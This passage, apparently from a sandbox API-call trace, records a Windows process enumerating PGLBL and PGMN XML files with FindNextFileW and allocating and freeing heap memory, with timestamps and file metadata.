Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.468] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a5c4800, ftCreationTime.dwHighDateTime=0x1c9fe1c, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a5c4800, ftLastWriteTime.dwHighDateTime=0x1c9fe1c, nFileSizeHigh=0x0, nFileSizeLow=0x124b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL090.XML", cAlternateFileName="")) returned 1 [0079.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.469] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.469] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca380 [0079.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e2dc0 [0079.469] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.469] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4628f00, ftCreationTime.dwHighDateTime=0x1ca1b44, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4628f00, ftLastWriteTime.dwHighDateTime=0x1ca1b44, nFileSizeHigh=0x0, nFileSizeLow=0x19a22, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL092.XML", cAlternateFileName="")) returned 1 [0079.469] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.470] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.470] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca3a0 [0079.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e2ec8 [0079.470] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.470] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x206de900, ftCreationTime.dwHighDateTime=0x1ca1b2e, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x206de900, ftLastWriteTime.dwHighDateTime=0x1ca1b2e, nFileSizeHigh=0x0, nFileSizeLow=0xb3da, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL093.XML", cAlternateFileName="")) returned 1 [0079.470] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.471] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.471] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.471] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.478] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.478] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca3c0 [0079.478] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e2fd0 [0079.479] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.479] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b48300, ftCreationTime.dwHighDateTime=0x1c9fe1c, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x32b48300, ftLastWriteTime.dwHighDateTime=0x1c9fe1c, nFileSizeHigh=0x0, nFileSizeLow=0x1a1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL095.XML", cAlternateFileName="")) returned 1 [0079.479] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.479] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.479] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.479] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.479] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.479] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca3e0 [0079.479] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e30d8 [0079.480] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.480] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39db9100, ftCreationTime.dwHighDateTime=0x1c9fe1c, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39db9100, ftLastWriteTime.dwHighDateTime=0x1c9fe1c, nFileSizeHigh=0x0, nFileSizeLow=0x19ede, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL096.XML", cAlternateFileName="")) returned 1 [0079.480] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.480] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.480] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.480] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.480] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.480] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca400 [0079.480] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e31e0 [0079.481] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.481] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f636100, ftCreationTime.dwHighDateTime=0x1c9ef1a, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f636100, ftLastWriteTime.dwHighDateTime=0x1c9ef1a, nFileSizeHigh=0x0, nFileSizeLow=0x80ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL097.XML", cAlternateFileName="")) returned 1 [0079.481] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.481] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.481] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.481] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.481] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.481] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca420 [0079.481] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e32e8 [0079.482] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.482] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c357500, ftCreationTime.dwHighDateTime=0x1c6d897, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c357500, ftLastWriteTime.dwHighDateTime=0x1c6d897, nFileSizeHigh=0x0, nFileSizeLow=0xe730, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL102.XML", cAlternateFileName="")) returned 1 [0079.482] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.482] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.482] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.482] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.482] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.482] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca440 [0079.482] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e33f0 [0079.483] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.483] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45027800, ftCreationTime.dwHighDateTime=0x1ca0f15, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x45027800, ftLastWriteTime.dwHighDateTime=0x1ca0f15, nFileSizeHigh=0x0, nFileSizeLow=0x27aee, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL103.XML", cAlternateFileName="")) returned 1 [0079.483] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.483] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.483] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.483] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.483] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.483] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca460 [0079.483] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e34f8 [0079.483] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.484] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf61dc500, ftCreationTime.dwHighDateTime=0x1ca1702, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf61dc500, ftLastWriteTime.dwHighDateTime=0x1ca1702, nFileSizeHigh=0x0, nFileSizeLow=0x1fcf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL104.XML", cAlternateFileName="")) returned 1 [0079.484] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.484] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.484] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.484] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.484] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.484] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca480 [0079.484] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e3600 [0079.484] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4d80) returned 0x11f14d8 [0079.485] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0079.485] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.485] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ffeb200, ftCreationTime.dwHighDateTime=0x1c9fa22, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ffeb200, ftLastWriteTime.dwHighDateTime=0x1c9fa22, nFileSizeHigh=0x0, nFileSizeLow=0x15090, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL105.XML", cAlternateFileName="")) returned 1 [0079.485] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.486] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.486] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.486] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.486] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.486] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca4a0 [0079.486] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e3708 [0079.486] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.486] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2fb7700, ftCreationTime.dwHighDateTime=0x1ca1b41, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2fb7700, ftLastWriteTime.dwHighDateTime=0x1ca1b41, nFileSizeHigh=0x0, nFileSizeLow=0x9ae4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL106.XML", cAlternateFileName="")) returned 1 [0079.486] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.487] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.487] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.487] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.487] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.488] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca4c0 [0079.488] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e3810 [0079.488] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.488] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45218b00, ftCreationTime.dwHighDateTime=0x1ca1b45, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x45218b00, ftLastWriteTime.dwHighDateTime=0x1ca1b45, nFileSizeHigh=0x0, nFileSizeLow=0x1d5c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL107.XML", cAlternateFileName="")) returned 1 [0079.488] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.488] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.488] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.488] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.488] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.488] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca4e0 [0079.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e3918 [0079.489] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.489] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82e92800, ftCreationTime.dwHighDateTime=0x1c9f4a1, ftLastAccessTime.dwLowDateTime=0x5a3b2ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82e92800, ftLastWriteTime.dwHighDateTime=0x1c9f4a1, nFileSizeHigh=0x0, nFileSizeLow=0x2dbec, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL108.XML", cAlternateFileName="")) returned 1 [0079.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.489] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.489] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.489] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca500 [0079.490] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e3a20 [0079.490] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.490] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0b1600, ftCreationTime.dwHighDateTime=0x1ca14c1, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0b1600, ftLastWriteTime.dwHighDateTime=0x1ca14c1, nFileSizeHigh=0x0, nFileSizeLow=0x2b6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL109.XML", cAlternateFileName="")) returned 1 [0079.490] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.490] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.490] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.490] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.490] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.490] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca520 [0079.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e3b28 [0079.491] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.491] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x643bf200, ftCreationTime.dwHighDateTime=0x1ca1a4b, ftLastAccessTime.dwLowDateTime=0x5a3b2ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x643bf200, ftLastWriteTime.dwHighDateTime=0x1ca1a4b, nFileSizeHigh=0x0, nFileSizeLow=0xcdbee, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL110.XML", cAlternateFileName="")) returned 1 [0079.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.491] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.491] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca540 [0079.491] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e3c30 [0079.492] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.492] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x656d1f00, ftCreationTime.dwHighDateTime=0x1ca1a4b, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x656d1f00, ftLastWriteTime.dwHighDateTime=0x1ca1a4b, nFileSizeHigh=0x0, nFileSizeLow=0x40198, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL111.XML", cAlternateFileName="")) returned 1 [0079.492] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.492] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.492] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.492] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.492] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.492] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca560 [0079.492] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e3d38 [0079.493] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.493] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa07a0100, ftCreationTime.dwHighDateTime=0x1ca2c4b, ftLastAccessTime.dwLowDateTime=0x5a3b2ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa07a0100, ftLastWriteTime.dwHighDateTime=0x1ca2c4b, nFileSizeHigh=0x0, nFileSizeLow=0x2247e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN001.XML", cAlternateFileName="")) returned 1 [0079.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.493] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.493] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca580 [0079.493] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0079.494] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.494] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x669e4c00, ftCreationTime.dwHighDateTime=0x1ca1a4b, ftLastAccessTime.dwLowDateTime=0x5a3b2ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x669e4c00, ftLastWriteTime.dwHighDateTime=0x1ca1a4b, nFileSizeHigh=0x0, nFileSizeLow=0xeb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN002.XML", cAlternateFileName="")) returned 1 [0079.494] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.494] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.494] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.494] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.494] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.494] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca5a0 [0079.494] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xababa8 [0079.495] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.495] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c7ce900, ftCreationTime.dwHighDateTime=0x1c9f4a3, ftLastAccessTime.dwLowDateTime=0x5a3b2ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c7ce900, ftLastWriteTime.dwHighDateTime=0x1c9f4a3, nFileSizeHigh=0x0, nFileSizeLow=0x1bc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN010.XML", cAlternateFileName="")) returned 1 [0079.495] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.495] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.495] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.495] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.495] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.495] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11ca5c0 [0079.495] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabac30 [0079.496] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.496] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94fa5500, ftCreationTime.dwHighDateTime=0x1ca1b39, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x94fa5500, ftLastWriteTime.dwHighDateTime=0x1ca1b39, nFileSizeHigh=0x0, nFileSizeLow=0xe2d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGMN011.XML", cAlternateFileName="")) returned 1 [0079.496] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.496] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.496] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.496] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.496] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.496] RtlAllocateHeap 